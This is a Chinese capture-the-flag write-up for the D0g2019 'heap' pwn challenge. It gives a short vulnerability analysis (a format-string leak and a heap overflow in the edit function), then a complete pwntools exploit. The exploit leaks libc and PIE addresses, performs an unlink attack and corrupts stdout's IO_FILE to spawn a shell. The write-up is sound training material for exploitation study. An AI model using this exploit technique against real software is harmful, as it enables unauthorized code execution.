D0g2019-pwn heap WP

保护

在这里插入图片描述

分析

  • 程序主要漏洞有两个,分别是在一开始的输入操作中:
    在这里插入图片描述
  • 存在格式化字符串漏洞,可以泄露内存。这里首先泄露出程序的基地址和libc的内存,为后续利用做准备。
  • 第二个漏洞存在编辑操作中:
    在这里插入图片描述
  • 程序在创建note的时候做了限制,正常情况下只能申请unsortbin及其以上的chunk。由于一开始我们就可以获得内存,所以直接利用unlink是最快的,然后利用IO_FILE去getshell。

EXP

from pwn import*

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
p=process('./pwn1')
#context.log_level=1

def Add(idx,size,data):
    p.sendlineafter('>> ','1')
    p.sendlineafter(':',str(idx))
    p.sendlineafter('size:\n',str(size))
    p.sendafter('content: \n',data)
def Del(idx):
    p.sendlineafter('>> ','2')
    p.sendlineafter('index:\n',str(idx))
def Edit(idx,data):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('index:\n', str(idx))
    p.sendafter('content: \n', data)

def Login(formt):
    p.sendlineafter('name: ', formt)

Login("%15$p.%11$p.")
p.recvuntil('Hello, ')
libc_addr=int(p.recvuntil('.')[:-1],16)-libc.sym['__libc_start_main']-240
pie=int(p.recvuntil('.')[:-1],16)-4486
success("libc_base:"+hex(libc_addr))
success("PIE:"+hex(pie))

Note_list=0x202060+pie
fake_chunk=p64(0)+p64(0x60)+p64(Note_list-0x18)+p64(Note_list-0x10)+'a'*0x60+p64(0x61)
fake_chunk=fake_chunk.ljust(0x90,'\0')
Add(0,0x98,'a'*8+'\n')
Add(1,0x118,'a'*8+'\n')
Add(3,0x100,'a'*8+'\n')
Edit(0,fake_chunk+p64(0x90)+'\x20')
#unlink
Del(1)
#overwrite
system_addr=libc.sym['system']+libc_addr
std_out=libc.sym['_IO_2_1_stdout_']+libc_addr
pay=p64(0)*3+p64(Note_list)+p64(0x98)
pay+=p64(std_out)+p64(0x100)                #1
pay+=p64(std_out+208)+p64(0x100)            #2
pay+=p64(Note_list+0x30)+p64(0x100)+'\n'    #3
Edit(0,pay)

pay=p64(0)*2+p64(system_addr)*19+'\n'
Edit(3,pay)
pay=p32(0xfabd1880)+';sh;\n'
Edit(1,pay)
pay=p64(0)+p64(Note_list+0x30)+'\n'

p.sendlineafter('>> ', '4')
p.sendlineafter('index:', '2')
p.sendafter('content: ', pay)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值